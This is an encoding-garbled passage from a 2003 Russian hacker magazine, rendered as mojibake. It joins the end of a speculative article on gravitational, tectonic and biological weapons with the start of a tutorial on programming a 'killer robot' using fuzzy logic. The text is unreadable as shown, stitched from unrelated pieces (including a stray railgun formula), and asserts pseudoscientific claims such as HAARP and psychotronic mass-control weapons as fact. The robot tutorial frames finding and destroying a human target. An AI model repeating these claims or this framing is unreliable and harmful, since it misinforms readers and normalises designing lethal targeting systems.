×òî îí èìåë â âèäó Åñëè âêðàòöå, ãðàâèòàöèîííîå<br />
îðóæèå ñïîñîáíî âûçûâàòü öóíàìè, çåìëåòðÿñåíèÿ, íàâîäíåíèÿ<br />
è ò.ï. Íà äàííîì ýòàïå òåõíîëîãè÷åñêîãî ðàçâèòèÿ<br />
ìû íå ñïîñîáíû ñäåëàòü òàêîå, îäíàêî òåîðèÿ ãðàâèòàöèîííîãî<br />
îðóæèÿ ñóùåñòâóåò. Óñëîâíî ýòîò âèä îðóæèÿ<br />
ìîæíî ðàçáèòü íà ñëåäóþùèå òèïû:<br />
1. Ëó÷åâîå ãðàâèòàöèîííîå îðóæèå. Îáëàäàåò óçêèì ëó÷îì<br />
ãðàâèòàöèîííîãî ïîëÿ ñ ïîâûøåííîé ïëîòíîñòüþ ýíåðãèè.<br />
Ïðè äîñòàòî÷íîé ìîùíîñòè ýòîò ëó÷ áóäåò ðàáîòàòü êàê<br />
ãðàâèòàöèîííûé ðåçàê.<br />
2. Ãðàâèòàöèîííîå îðóæèå íàïðàâëåííîãî äåéñòâèÿ. Ïîäðàçóìåâàåò<br />
ãðàâèòàöèîííîå âîçäåéñòâèå â íåêîòîðîì ñåêòîðå,<br />
ïðèâîäÿùåå ê ãðàâèòàöèîííîìó ðàçðóøåíèþ îáúåìíûõ<br />
(çâåçäíûõ) ñèñòåì.<br />
3. Ãðàâèòàöèîííûå (ñèëîâûå) çàùèòíûå ýêðàíû. Ýòî îðóæèå<br />
çàùèòû. Ñèëîâûå ãðàâèòàöèîííûå ýêðàíû, ÷àñòè÷íî<br />
èëè ïîëíîñòüþ ïðèêðûâàþùèå îáúåêò îò ãðàâèòàöèîííîãî<br />
è äðóãèõ ïîðàæàþùèõ ôàêòîðîâ. Äëÿ íàäåæíîé çàùèòû<br />
ýíåðãèÿ, çàäåéñòâîâàííàÿ äëÿ ñîçäàíèÿ òàêîãî ýêðàíà,<br />
äîëæíà áûòü î÷åíü áîëüøîé.<br />
À äëÿ ðåàëèçàöèè ýòîé òåîðèè íåîáõîäèìî ñëåäóþùåå:<br />
1. Íàêîïèòåëü ãðàâèòîíîâ áîëüøîé åìêîñòè.<br />
2. Óñòðîéñòâî, ôîêóñèðóþùåå ïó÷îê ãðàâèòîíîâ â óçêèé<br />
ëó÷ èëè â ñåêòîð.<br />
3. Èñòî÷íèê ïèòàíèÿ, äîñòàòî÷íûé äëÿ ðåàëèçàöèè ïåðâûõ<br />
äâóõ ïóíêòîâ.<br />
Íè îäíî èç ýòèõ óñëîâèé ñîâðåìåííàÿ íàóêà íå ìîæåò âûïîëíèòü,<br />
èëè íàì îá ýòîì åùå íå ñêàçàëè.<br />
Òåêòîíè÷åñêîå îðóæèå<br />
 ïðèíöèïå, áîëüøîãî âíèìàíèÿ ýòîò âèä îðóæèÿ íå çàñëóæèâàåò,<br />
ïîýòîìó ìíîãî ïèñàòü î íåì íå áóäåì, ðàññêàçàâ<br />
ëèøü î ïðèíöèïå åãî ðàáîòû. Ïðèíöèï äåéñòâèÿ òåêòîíè÷åñêîãî<br />
îðóæèÿ ïðîñò: íóæíî íåìíîãî «ðàñøåâåëèòü»<br />
çåìíóþ êîðó â òîì ìåñòå, ãäå ñêàïëèâàåòñÿ òåêòîíè÷åñêîå<br />
íàïðÿæåíèå, ïîñëå ÷åãî âîçíèêíåò ýôôåêò ðàçëè÷íûõ ïðèðîäíûõ<br />
êàòàêëèçìîâ (â îñíîâíîì çåìëåòðÿñåíèé). «Øåâåëÿò»<br />
êîðó, êàê ïðàâèëî, áîìáàìè, îáû÷íî àòîìíûìè. Íî<br />
òåïåðü Ïåíòàãîí ïðåäëîæèë èñïîëüçîâàòü äëÿ ýòîãî ñâîþ<br />
íîâóþ ðàçðàáîòêó: âàêóóìíóþ áîìáó ñ òàêèì æå ñèëüíûì<br />
ýôôåêòîì. Îá èõ óñïåõàõ åùå íè÷åãî íå ñîîáùàëîñü.<br />
Áèîëîãè÷åñêîå îðóæèå<br />
 Ñèáèðè è íà Äàëüíåì Âîñòîêå äî ñèõ ïîð õîäèò ëåãåíäà,<br />
÷òî ýíöåôàëèòíûå êëåùè, êîòîðûå ñ íà÷àëà òðèäöàòûõ ãîäîâ<br />
íåîæèäàííî ïîÿâèëèñü â ÑÑÑÐ â ðàéîíå ðàñïîëîæåíèÿ<br />
Äàëüíåâîñòî÷íîé Êðàñíîé àðìèè – ýòî íå ôîêóñ ïðèðîäû,<br />
à ðåçóëüòàò äèâåðñèè. Ðàññåêðå÷åííàÿ ïîñëå Âòîðîé<br />
ìèðîâîé âîéíû òàéíàÿ ëàáîðàòîðèÿ Êâàíòóíñêîé àðìèè,<br />
ðàñïîëàãàâøàÿñÿ ïî òó ñòîðîíó ãðàíèöû – â Ìàí÷æóðèè,<br />
âïîëíå ìîãëà áûòü èñòî÷íèêîì ýòîé íîâîé íàïàñòè.<br />
Òàê ýòî èëè íåò, íî êëåùåâîé ýíöåôàëèò äî ñèõ ïîð êàæäûé<br />
ãîä óíîñèò æèçíè ëþäåé. Ñåé÷àñ ïðàâäó óæå íå âûÿñíèòü,<br />
íî åñòü ñìûñë ðàññìîòðåòü íåêîòîðûå òåîðåòè÷åñêèå<br />
âàðèàíòû ïðèìåíåíèÿ áèîëîãè÷åñêîãî îðóæèÿ, êîòîðûå<br />
ìîãóò ñòàòü ðåàëüíîñòüþ ïðè èñïîëüçîâàíèè ýòîãî<br />
ôàêòîðà ïîðàæåíèÿ â âîéíàõ íîâîãî òûñÿ÷åëåòèÿ.<br />
Ñêîðîñòü ñíàðÿäà ðåéëãàíà âû÷èñëÿåòñÿ ïî ôîðìóëå<br />
V=(L'x(i*i)t)/2m, ãäå L' – èíäóêòèâíàÿ ñïîñîáíîñòü<br />
ïðîâîäíèêîâ; i – òîê; t – âðåìÿ ïîäà÷è ñíàðÿäà; m –<br />
ìàññà ñíàðÿäà.<br />
Íàóêà äâèæåòñÿ, ïðîãðåññ ðàñòåò, à îáû÷íîå áèîëîãè÷åñêîå<br />
îðóæèå, âèäíî, íàäîåëî ëþäÿì. Àìåðèêàíñêèå âîåííûå<br />
ðåøèëè ïîèçâðàùàòüñÿ è âëîæèòü 25 ìèëëèîíîâ äîëëàðîâ<br />
â èññëåäîâàíèÿ, öåëüþ êîòîðûõ ÿâëÿåòñÿ ñîçäàíèå<br />
óïðàâëÿåìûõ áèîëîãè÷åñêèõ ñèñòåì, èñïîëüçîâàíèå ïîâàäîê<br />
æèâîòíûõ â âîåííûõ òåõíîëîãèÿõ è òîìó ïîäîáíîå:<br />
÷òîáû ñàìîëåòû ëåòàëè êàê ïòèöû, ïîäëîäêè ïëàâàëè êàê<br />
ðûáû è íàîáîðîò. Ñåé÷àñ æå ó÷åíûå, ðàáîòàþùèå íà Ïåíòàãîí,<br />
óâåðåíû, ÷òî ïðîèçâîäñòâîì ìåäà âîçìîæíîñòè<br />
ï÷åë íå îãðàíè÷èâàþòñÿ, è îáó÷àþò èõ ïîèñêó âçðûâ÷àòûõ<br />
âåùåñòâ, ïîëàãàÿ, ÷òî íàñåêîìûå â ýòîì äåëå ìîãóò ïðåâçîéòè<br />
ñîáàê. Ñóùåñòâóåò ìíåíèå, ÷òî ýòèõ æå ñàìûõ ï÷åë<br />
ìîæíî áóäåò èñïîëüçîâàòü è â êà÷åñòâå áèîëîãè÷åñêîãî<br />
îðóæèÿ - êàê ðàñïðîñòðàíèòåëåé çàðàçû.<br />
Íà ïðîùàíèå<br />
Âûøå ìû ïîïûòàëèñü ðàññìîòðåòü âñå íîâèíêè ïðîãðåññà.<br />
Êîíå÷íî, äî íåêîòîðûõ íàì äîáðàòüñÿ íå óäàëîñü, ñëèøêîì<br />
óæ âñå çàñåêðå÷åíî. À ýòî îçíà÷àåò, ÷òî ñóùåñòâóþò<br />
åùå áîëåå ìîùíûå è ñòðàøíûå âèäû âîîðóæåíèé, ÷åì òå,<br />
÷òî îïèñàíû çäåñü. È ýòî ïóãàåò.<br />
Ïîðîõîâîå îðóæèå ïðîäåðæèòñÿ åùå ëåò äâàäöàòü-òðèäöàòü,<br />
ïîñëå ÷åãî ïåðåéäåò â ðàçðÿä âîîðóæåíèÿ îòñòàëûõ<br />
àôðèêàíñêèõ ñòðàí, è ñîâðåìåííûå ãðàíàòîìåòû áóäóò èñïîëüçîâàòüñÿ<br />
äëÿ îõîòû íà ñëîíîâ. Òàêæå ïîäîáíîå îðóæèå<br />
áóäåò ïîïóëÿðíî ñðåäè óëè÷íûõ áàíä èç-çà åãî äåøåâèçíû<br />
è õîòü êàêîãî-òî ïîðàæàþùåãî äåéñòâèÿ.<br />
À ïëàçìåííîå îðóæèå áóäåò. Ìû, ïðàâäà, ïîêà äàæå ïðåäñòàâèòü<br />
íå ìîæåì, êàê îíî áóäåò âûãëÿäåòü, íî âîåííûå<br />
âåäü íå óïóñòÿò òàêóþ ìîùü! Îðóæèå, ñïîñîáíîå ïðîáèòü<br />
àáñîëþòíî ëþáóþ áðîíþ, îò êîòîðîãî íå ñïàñåò íèêàêîå<br />
óáåæèùå… äà îíè øòàíû ñ ñåáÿ ñíèìóò, ÷òîáû çàïîëó÷èòü<br />
òàêîå. Èìïóëüñíîå îðóæèå òîæå áóäåò íåïëîõî ñïðàâëÿòüñÿ<br />
ñ ðîëüþ ñèñòåì ÏÂÎ – íî äî ìàññîâîãî ïîÿâëåíèÿ ñèñòåì,<br />
ïîäîáíûõ HAARP. ÕÀÀÐÏ – ìíîãîöåëåâîé êîìïëåêñ,<br />
ñïîñîáíûé îñóùåñòâëÿòü êàê îáîðîíèòåëüíûå ìåðîïðèÿòèÿ,<br />
òàê è ïîäãîòîâêó âðàæåñêîé òåððèòîðèè (èëè åå ïîëíîå<br />
óíè÷òîæåíèå) ê ïîñëåäóþùåìó âòîðæåíèþ.  êà÷åñòâå<br />
ðó÷íîãî îðóæèÿ, ìû äóìàåì, áóäóò øèðîêî èñïîëüçîâàòüñÿ<br />
(ïðè óñëîâèè ìèíèàòþðèçàöèè èñòî÷íèêîâ ýíåðãèè) ëàçåðû<br />
è èìïóëüñíûå âèíòîâêè. Íó, à äëÿ óïðàâëåíèÿ ìàññàìè<br />
áóäåò èñïîëüçîâàòüñÿ (è óæå èñïîëüçóåòñÿ) ïñèõîòðîííîå<br />
îðóæèå.<br />
Ññûëêè ïî òåìå:<br />
Ýíöèêëîïåäèÿ Âîîðóæåíèé<br />
www.arms.ru<br />
Russian Guns and Firearms<br />
www.guns.ru<br />
Àâòîìàò Êàëàøíèêîâà<br />
http://kalashnikov.guns.ru<br />
X-Libri Ìàéîðà Òîìàñà<br />
www.x-libri.ru/elib/<br />
46 Íüþñû 1 Ôåððóì 2 Inside 3 Implant 4 Âçëîì
ÊÀÊ ÏÐÎÃÐÀÌÌÈÐÎÂÀÒÜ<br />
<br />
Implant<br />
ÕÀÊÅÐ\¹53\Ìàé\2003<br />
ÊÀÊ ÏÐÎÃÐÀÌÌÈÐÎÂÀÒÜ ÐÎÁÎÒÀ-ÓÁÈÉÖÓ<br />
Èâàí Ñêëÿðîâ<br />
Sklyarov@real.xakep.ru<br />
Ð ÁÎÒÀ-<br />
ÓÁÈÉÖÓ<br />
Íå íóæíî âîñïðèíèìàòü ýòó ñòàòüþ êàê ïðîïàãàíäó íàñèëèÿ, ÿ ëèøü õî÷ó íà äîâîëüíî èíòåðåñíîì ïðèìåðå ðàññêàçàòü î ïðîäâèíóòîé è<br />
ñîâðåìåííîé òåõíîëîãèè ïðîãðàììèðîâàíèÿ ñëîæíûõ ñèñòåì óïðàâëåíèÿ, à êàê ïðèìåíÿòü ïîëó÷åííûå çíàíèÿ - ðåøàé ñàì.<br />
Ñâîé äîìàøíèé Òåðìèíàòîð – ëåãêî!<br />
Ïîìíèòñÿ â INTRO (#49) CuTTer ôèëîñîôñòâîâàë î ðîáîòàõóáèéöàõ,<br />
ðèñîâàë óæàñíûå êàðòèíû, êîãäà òàêèå ðîáîòû<br />
âûéäóò èç ïîä êîíòðîëÿ è íàñòàíåò «Óæàñ, ñìåðòü, àïîêàëèïñèñ...».<br />
Äà, ñîçäàíèå ðîáîòîâ-óáèéö ñåé÷àñ âïîëíå ðåàëüíî,<br />
áîëåå òîãî, ïîäîáíîãî ðîáîòà ìîæåò çàïðîãðàììèðîâàòü äàæå<br />
ðåáåíîê (îá ýòîì íèæå). Íî âîò ÷òî êàñàåòñÿ òîãî, ÷òî ðîáîòû<br />
ìîãóò ñàìîñòîÿòåëüíî âûéòè èç-ïîä êîíòðîëÿ è îáúåäèíèòñÿ<br />
ïðîòèâ ÷åëîâå÷åñòâà - ýòî ïîêà íåâîçìîæíî. Òàêîå<br />
ïîä ñèëó òîëüêî èñêóññòâåííîìó èíòåëëåêòó, íî, ê ñîæàëåíèþ<br />
(èëè ê ñ÷àñòüþ), ñîâðåìåííîé íàóêå äî íåãî åùå äàëåêî.<br />
×òî ñëåäóåò ïîíèìàòü ïîä èñêóññòâåííûì èíòåëëåêòîì<br />
(ÈÈ) ÈÈ (AI) — ýòî ñèñòåìà, êîòîðàÿ ñàìîñòîÿòåëüíî ñòðîèò<br />
ñâîè ïîâåäåí÷åñêèå àëãîðèòìû. Áóäåò ëè íàø ðîáîò îáëàäàòü<br />
èñêóññòâåííûì èíòåëëåêòîì Íåò, íå áóäåò, ò.ê. íèêàêèõ<br />
àëãîðèòìîâ îí ñòðîèòü íå ñìîæåò. Îäíàêî îí áóäåò îáëàäàòü,<br />
êàê ýòî ìîäíî ñåé÷àñ ãîâîðèòü, «ýëåìåíòàìè èñêóññòâåííîãî<br />
èíòåëëåêòà», ò.ê. åãî äåéñòâèÿ áóäóò ñòðîèòüñÿ íå<br />
íà îñíîâå ÷åòêî çàäàííîãî àëãîðèòìà, à íà îñíîâå ëîãèêè,<br />
áëèçêîé ê ÷åëîâå÷åñêîé (íå÷åòêîé ëîãèêè). Íå÷åòêàÿ ëîãèêà<br />
(fuzzy logic) èçâåñòíà åùå ñ 60-õ ãîäîâ 20 âåêà, îäíàêî âïåðâûå<br />
íà ïðàêòèêå îíà ñòàëà ïðèìåíÿòüñÿ òîëüêî â êîíöå 90-õ<br />
â ßïîíèè. Ñåé÷àñ ñèñòåìû, ðàáîòàþùèå íà íå÷åòêîé ëîãèêå,<br />
ìîæíî âñòðåòèòü â áîëüøèíñòâå èíîìàðîê (ñèñòåìû óïðàâëåíèÿ<br />
ÀÁÑ, ÄÂÑ, ÀÊÏÏ è ò.ï.), à òàêæå â áûòîâûõ ïðèáîðàõ:<br />
êîíäèöèîíåðàõ, ìèêðîâîëíîâûõ ïå÷àõ, ôîòîêàìåðàõ è äðóãèõ.<br />
Àâòîíîìíûå ðîáîòû íà íå÷åòêîé ëîãèêå óæå èñïîëüçóþòñÿ<br />
â èññëåäîâàòåëüñêèõ è ñïàñàòåëüíûõ öåëÿõ, à òàêæå â<br />
êà÷åñòâå ðàçâëå÷åíèÿ (Asimo, Aibo).<br />
ÒÅËÎ<br />
 ýòîé ñòàòüå ìû áóäåì ðàññìàòðèâàòü ëèøü ïðîãðàììèðîâàíèå<br />
«ìîçãà» ðîáîòà, ïðèòîì òîëüêî ñàìûå îñíîâíûå<br />
åãî ôóíêöèè, íî íå áóäåì êàñàòüñÿ êîíñòðóèðîâàíèÿ «òåëà»<br />
(êîðïóñà). Îäíàêî íåêîòîðûå çàìå÷àíèÿ ïî «òåëó» ÿ<br />
äîëæåí ñäåëàòü, ò.ê. îò òåëà íàïðÿìóþ çàâèñèò ìîçã. Áóäåì<br />
ñ÷èòàòü, ÷òî ìû ïðîãðàììèðóåì ÷åëîâåêîïîäîáíîãî<br />
ðîáîòà, ò.å. ïðàêòè÷åñêè ñ òåìè æå âîçìîæíîñòÿìè äâèãàòåëüíîãî<br />
àïïàðàòà, ïðîïîðöèÿìè òåëà, îáçîðîì ãëàç è<br />
ïð., ÷òî è ó ÷åëîâåêà. Ñîçäàòü ÷åëîâåêîïîäîáíîå òåëî<br />
âïîëíå ðåàëüíî, ïðèìåð òîìó Asimo. Òàêæå áóäåì ñ÷èòàòü,<br />
÷òî ìû ïðîãðàììèðóåì îáû÷íîãî ðîáîòà-êèëëåðà,<br />
ñïîñîáíîãî íàõîäèòü è óíè÷òîæàòü åäèíñòâåííóþ öåëü.<br />
Íî, ÷åñòíî ãîâîðÿ, ÿ áû íå ñòàë äåëàòü ðîáîòà-óáèéöó ïî<br />
îáðàçó è ïîäîáèþ ÷åëîâå÷åñêîãî òåëà. Âñå ìû çíàåì,<br />
÷òî ÷åëîâå÷åñêîå òåëî íåñîâåðøåííî, êóäà ëó÷øå<br />
êîíñòðóèðîâàòü åãî ïî îáðàçó ïòèöû èëè íàñåêîìîãî, îò<br />
òàêîãî ðîáîòà ãîðàçäî ñëîæíåå ñêðûòüñÿ, à òàêæå ïîäâåðãíóòü<br />
åãî óíè÷òîæåíèþ.<br />
Ñ ÷åãî îáû÷íûé êèëëåð íà÷èíàåò ñâîþ «ðàáîòó» Ñ ïîëó-<br />
÷åíèÿ ôîòîãðàôèè æåðòâû. Ñëåäîâàòåëüíî, íàø ðîáîò<br />
äîëæåí ïîñòóïàòü òàê æå, ïðè÷åì «ôîòîãðàôèþ» åìó ìîæíî<br />
ïåðåäàâàòü óäàëåííî. Çäåñü ìîæíî ïîôàíòàçèðîâàòü.<br />
Äîïóñòèì, ïåðåäàâàòü ðîáîòó íå ïðîñòî ôîòî, à òðåõìåðíûé<br />
îáúåêò æåðòâû (â íàø âåê ìîùíûõ 3D-ïðîãðàìì ýòî<br />
íå ïðîáëåìà), òîãäà ðîáîò ñìîæåò îäíîçíà÷íî îïîçíàòü<br />
«êëèåíòà» ñ ëþáîé ïîçèöèè (íàïðèìåð, ñî ñïèíû).<br />
Ñõåìà ðîáîòà íè÷åãî ñëîæíîãî ñîáîé ïðåäñòàâëÿòü íå<br />
äîëæíà, â êà÷åñòâå ïðîöåññîðîâ âïîëíå ïîäîéäóò îáû÷íûå<br />
CISC èëè RISC-ïðîöåññîðû, îäíàêî äëÿ fuzzy-âû÷èñëåíèé<br />
ëó÷øå èñïîëüçîâàòü ñïåöèàëèçèðîâàííûå fuzzyìèêðîêîíòðîëëåðû<br />
(íàïðèìåð, SAE 81C99 èëè<br />
VY86C570), îáåñïå÷èâàþùèå áîëüøåå áûñòðîäåéñòâèå. Â<br />
êà÷åñòâå äàò÷èêîâ âïîëíå ìîãóò ñëóæèòü îáû÷íûå öèôðîâûå<br />
âèäåîêàìåðû, à òàêæå äàò÷èêè äàâëåíèÿ, óëüòðàçâóêîâûå,<br />
òåìïåðàòóðíûå, èíôðàêðàñíûå... Âåñòèáóëÿðíûé<br />
àïïàðàò ðîáîòà ìîæíî ìîäåëèðîâàòü ñ ïîìîùüþ îáû÷íûõ<br />
ãèðîñêîïîâ.<br />
48 Íüþñû 1 Ôåððóì 2 Inside 3 PC_Zone 4 Âçëîì
ÌÎÇÃ<br />
Êëàññè÷åñêàÿ (áóëåâà) ëîãèêà îïåðèðóåò òîëüêî äâóìÿ<br />
ïîíÿòèÿìè: ÈÑÒÈÍÀ è ËÎÆÜ (1 è 0). Ýòî ïîäõîäèò äëÿ<br />
êîìïüþòåðà, íî íå ïîäõîäèò äëÿ ÷åëîâåêà. Íàì íå ñâîéñòâåííî<br />
äåëàòü îäíîçíà÷íûå óòâåðæäåíèÿ, îáû÷íî ìû<br />
óïîòðåáëÿåì òàêèå îáîðîòû, êàê: «íåìíîãî», «ñðåäíå»,<br />
«áîëüøå», «âûñîêî», «äàëåêî» è ò ï. Íàøà çàäà÷à íàó÷èòü<br />
ðîáîòà «äóìàòü» òàê æå, äëÿ ýòîãî ïîíàäîáèòñÿ íå÷åòêàÿ<br />
ëîãèêà. Õîòÿ äîëæåí çàìåòèòü, ÷òî â ïðèíöèïå ïîäîáíûå<br />
çàäà÷è ìîæíî ðåøàòü è ñ ïîìîùüþ îáû÷íîé ëîãèêè,<br />
òîëüêî ýòî ñâåäåòñÿ ê ðåøåíèþ ñëîæíûõ äèôôåðåíöèàëüíûõ<br />
óðàâíåíèé, èç-çà ÷åãî íå òîëüêî âûñîêà âåðîÿòíîñòü<br />
ñîâåðøèòü îøèáêó â êîäå, íî èç-çà áîëüøîãî îáúåìà<br />
âû÷èñëåíèé ñèñòåìà ìîæåò ïîëó÷èòüñÿ òîðìîçíîé.<br />
Íå äóìàþ, ÷òî òû õîòåë áû âèäåòü ñâîåãî ðîáîòà ýäàêèì<br />
çàòîðìîæåííûì äóáîëîìîì :).<br />
ß íå áóäó òåáå äàâàòü çàêîí÷åííûõ ïðîãðàìì, äà ýòî è<br />
íå íóæíî, ÿ ëèøü ðàññêàæó òåáå «êàê», à äàëüøå, åñëè<br />
ïîòðåáóåòñÿ, òû ñìîæåøü ñàìîñòîÿòåëüíî äîâåñòè äåëî<br />
äî êîíöà. Êðîìå òîãî, ÿ ïîêàæó ëèøü îñíîâû ïðîãðàììèðîâàíèÿ<br />
òàêèõ ðîáîòîâ, ïðîãðàììèðîâàíèå ñàìîãî ïðèìèòèâíîãî<br />
«ìîçãà», íî íà îñíîâå ýòîé ñòàòüè òû ñìîæåøü<br />
ëåãêî åãî ðàçâèòü è óñëîæíèòü (ñäåëàòü «óìíåå»).<br />
Ðàçäåëèì ìîçã ðîáîòà íà òðè îñíîâíûõ áëîêà:<br />
1) Áëîê îáõîäà ïðåïÿòñòâèé<br />
2) Áëîê ïîèñêà æåðòâû<br />
3) Áëîê ïðåñëåäîâàíèÿ è óíè÷òîæåíèÿ æåðòâû<br />
 êàæäûé ìîìåíò âðåìåíè ó ðîáîòà áóäåò àêòèâåí òîëüêî<br />
îäèí áëîê, ò.å. â çàâèñèìîñòè îò îáñòàíîâêè ðîáîò àâòîìàòè÷åñêè<br />
áóäåò ïåðåêëþ÷àòüñÿ â îäèí èç òðåõ ðåæèìîâ.<br />
Íàïðèìåð, ñíà÷àëà âêëþ÷àåòñÿ áëîê ïîèñêà æåðòâû —<br />
ðîáîò íà÷èíàåò ïîèñê. Åñëè íà ïóòè ðîáîòà âîçíèêàåò<br />
ïðåïÿòñòâèå (ðîáîò äîëæåí ðàñïîçíàâàòü êàê ìèíèìóì<br />
äâà òèïà ïðåïÿòñòâèé — «ñàðàé» è «ÿìà»), âêëþ÷àåòñÿ<br />
áëîê îáõîäà ïðåïÿòñòâèÿ, êîãäà ïðåïÿòñòâèå ïðåîäîëåíî,<br />
ñíîâà âêëþ÷àåòñÿ áëîê ïîèñêà æåðòâû, åñëè æåðòâà îáíàðóæåíà,<br />
âêëþ÷àåòñÿ áëîê ïðåñëåäîâàíèÿ è óíè÷òîæåíèÿ<br />
æåðòâû è ò.ä.<br />
Ðàññìîòðèì ïîäðîáíî ïðîãðàììèðîâàíèå ïåðâîãî áëîêà,<br />
ïàðàëëåëüíî òû óçíàåøü, êàê ðåøàþòñÿ çàäà÷è íà îñíîâå<br />
íå÷åòêîé ëîãèêè.<br />
ÁËÎÊ ÎÁÕÎÄÀ ÏÐÅÏßÒÑÒÂÈÉ<br />
Ëþáàÿ ñèñòåìà íà íå÷åòêîé ëîãèêå â ñâîåé ðàáîòå ïðîõîäèò<br />
3 ýòàïà, ýòî ôàççèôèêàöèÿ (ïåðåõîä ê íå÷åòêîñòè),<br />
îáðàáîòêà è äåôàççèôèêàöèÿ (ïðîöåññ, îáðàòíûé ôàççèôèêàöèè).<br />
Ò.å. ïðèìåíèòåëüíî ê íàøåìó ðîáîòó: ïîêàçàíèÿ<br />
ñ äàò÷èêîâ ôàççèôèöèðóþòñÿ, çàòåì îáðàáàòûâàþòñÿ<br />
ïî íå÷åòêèì ïðàâèëàì è äåôàççèôèöèðóþòñÿ, ïîñëå ÷åãî<br />
ïîëó÷åííûå ñèãíàëû ïåðåäàþòñÿ íà èñïîëíèòåëüíûå óñòðîéñòâà<br />
(ðîáîò ñîâåðøàåò äåéñòâèÿ).<br />
Ôàççèôèêàöèÿ<br />
Êàê ïåðåéòè ê íå÷åòêîñòè, âåäü ïîêàçàíèÿ, ñíèìàåìûå ñ<br />
äàò÷èêîâ, ïîñòóïàþò â ÷åòêèõ ÷èñëîâûõ çíà÷åíèÿõ Äëÿ<br />
ýòîãî ìû äîëæíû ýòè çíà÷åíèÿ ïðåîáðàçîâàòü â çíà÷åíèÿ<br />
ËÈÍÃÂÈÑÒÈ×ÅÑÊÈÕ ÏÅÐÅÌÅÍÍÛÕ ñ ïîìîùüþ ñïåöèàëüíûõ<br />
ÔÓÍÊÖÈÉ ÏÐÈÍÀÄËÅÆÍÎÑÒÈ (ìû ñ òîáîé íå êîëõîçíèêè,<br />
ïîýòîìó áóäåì ðàçãîâàðèâàòü íàó÷íûì ÿçûêîì,<br />
ïðèâûêàé). Íå÷åòêàÿ ëîãèêà íå îïåðèðóåò ÷èñëîâûìè<br />
çíà÷åíèÿìè, à òîëüêî ñëîâàìè åñòåñòâåííîãî ÿçûêà (ó<br />
íàñ ýòî áóäåò ðóññêèé ÿçûê), êîòîðûå íàçûâàþòñÿ ÒÅÐ-<br />
ÌÀÌÈ. Ââåäåì äëÿ íàøåãî ðîáîòà òðè ëèíãâèñòè÷åñêèå<br />
ïåðåìåííûå:<br />
1. ÄÈÑÒÀÍÖÈß (ðàññòîÿíèå äî ïðåïÿòñòâèÿ) ñî ñëåäóþùèìè<br />
òåðìàìè: ÄÀËÅÊÎ, ÑÐÅÄÍßß, ÁËÈÇÊÎ è Î×ÅÍÜ<br />
ÁËÈÇÊÎ.<br />
2. ÍÀÏÐÀÂËÅÍÈÅ (óãîë ìåæäó íàïðàâëåíèåì äâèæåíèÿ<br />
ðîáîòà è íàïðàâëåíèåì íà ïîìåõó) ñ òåðìàìè: ÏÐÀÂÎÅ,<br />
ÏÐßÌÎ, ËÅÂÎÅ.<br />
3. ÐÓËÅÂÎÉ ÓÃÎË (óãîë, íà êîòîðûé áóäåò ïîâîðà÷èâàòüñÿ<br />
ðîáîò, ìåíÿÿ íàïðàâëåíèå äâèæåíèÿ) ñ òåðìàìè: ÐÅÇ-<br />
ÊÎ ÂÏÐÀÂÎ, ÂÏÐÀÂÎ, ÏÐßÌÎ, ÂËÅÂÎ, ÐÅÇÊÎ ÂËÅÂÎ.<br />
Ëèíãâèñòè÷åñêèå ïåðåìåííûå ÄÈÑÒÀÍÖÈß è ÍÀÏÐÀÂËÅ-<br />
ÍÈÅ ÿâëÿþòñÿ âõîäíûìè ïåðåìåííûìè, ò.å. ïåðåìåííûìè,<br />
â òåðìû êîòîðûõ ïðåîáðàçóþòñÿ ïîêàçàíèÿ ñ äàò÷èêîâ,<br />
à ëèíãâèñòè÷åñêàÿ ïåðåìåííàÿ ÐÓËÅÂÎÉ ÓÃÎË ÿâëÿåòñÿ<br />
âûõîäíîé ïåðåìåííîé, ò.å. ïåðåìåííîé, çíà÷åíèå<br />
êîòîðîé ïîñëå äåôàççèôèêàöèè ïåðåäàåòñÿ íà ïðèâîä<br />
ðîáîòà. Çàìå÷ó, ÷òî, â çàâèñèìîñòè îò ïîñòàâëåííîé çàäà÷è,<br />
ëèíãâèñòè÷åñêèõ ïåðåìåííûõ è òåðìîâ â íèõ, ìîæíî<br />
îïèñûâàòü ëþáîå ìíîæåñòâî (ìàêñèìàëüíîå êîëè÷åñòâî<br />
òåðìîâ ðåêîìåíäóåòñÿ âûáèðàòü îò 3 äî 7). Îäíàêî<br />
óâåëè÷åíèå ÷èñëà âõîäíûõ ïåðåìåííûõ óâåëè÷èâàåò ïî<br />
ýêñïîíåíöèàëüíîìó çàêîíó êîëè÷åñòâî íå÷åòêèõ ïðàâèë<br />
(èõ ðàçðàáîòêó ìû ðàññìîòðèì íèæå), ÷òî óñëîæíÿåò ñèñòåìó.<br />
Ìû îáîéäåìñÿ ìèíèìàëüíûì ÷èñëîì ïåðåìåííûõ<br />
è òåðìîâ, îäíàêî ïðè ñîçäàíèè ðåàëüíîé ìîäåëè ïîäîáíûå<br />
óñëîæíåíèÿ ñäåëàòü æåëàòåëüíî.<br />
Òåïåðü íåîáõîäèìî ïðèâÿçàòü âñå âîçìîæíûå ïîêàçàíèÿ<br />
ñ äàò÷èêîâ ê íàøèì òåðìàì, ò.å. îïðåäåëèòü òî÷íûå ôèçè÷åñêèå<br />
çíà÷åíèÿ òåðìîâ äëÿ êàæäîé ëèíãâèñòè÷åñêîé<br />
ïåðåìåííîé. Äîïóñòèì, ïåðåìåííàÿ ÄÈÑÒÀÍÖÈß ìîæåò<br />
ïðèíèìàòü çíà÷åíèÿ îò íóëÿ äî áåñêîíå÷íîñòè. Ñîãëàñíî<br />
ïîëîæåíèÿì òåîðèè íå÷åòêèõ ìíîæåñòâ, êàæäîìó çíà÷åíèþ<br />
ðàññòîÿíèÿ èç óêàçàííîãî äèàïàçîíà ìîæåò áûòü<br />
ïîñòàâëåíî â ñîîòâåòñòâèå íåêîòîðîå ÷èñëî îò íóëÿ äî<br />
åäèíèöû, êîòîðîå îïðåäåëÿåò ÑÒÅÏÅÍÜ ÏÐÈÍÀÄËÅÆ-<br />
ÍÎÑÒÈ äàííîãî ôèçè÷åñêîãî ðàññòîÿíèÿ (íàïðèìåð, 1<br />
ìåòð) ê òîìó èëè èíîìó òåðìó ëèíãâèñòè÷åñêîé ïåðåìåííîé<br />
ÄÈÑÒÀÍÖÈß. Ñòåïåíü ïðèíàäëåæíîñòè îïðåäåëÿåòñÿ,<br />
êàê ÿ óæå ãîâîðèë âûøå, ïî ôóíêöèÿì ïðèíàäëåæíîñòè.<br />
Ñóùåñòâóþò ñòàíäàðòíûå ôóíêöèè ïðèíàäëåæíîñòè<br />
(ñì. ðèñ.1), ëþáóþ èç êîòîðûõ ìîæíî ïðîèçâîëüíî âûáèðàòü<br />
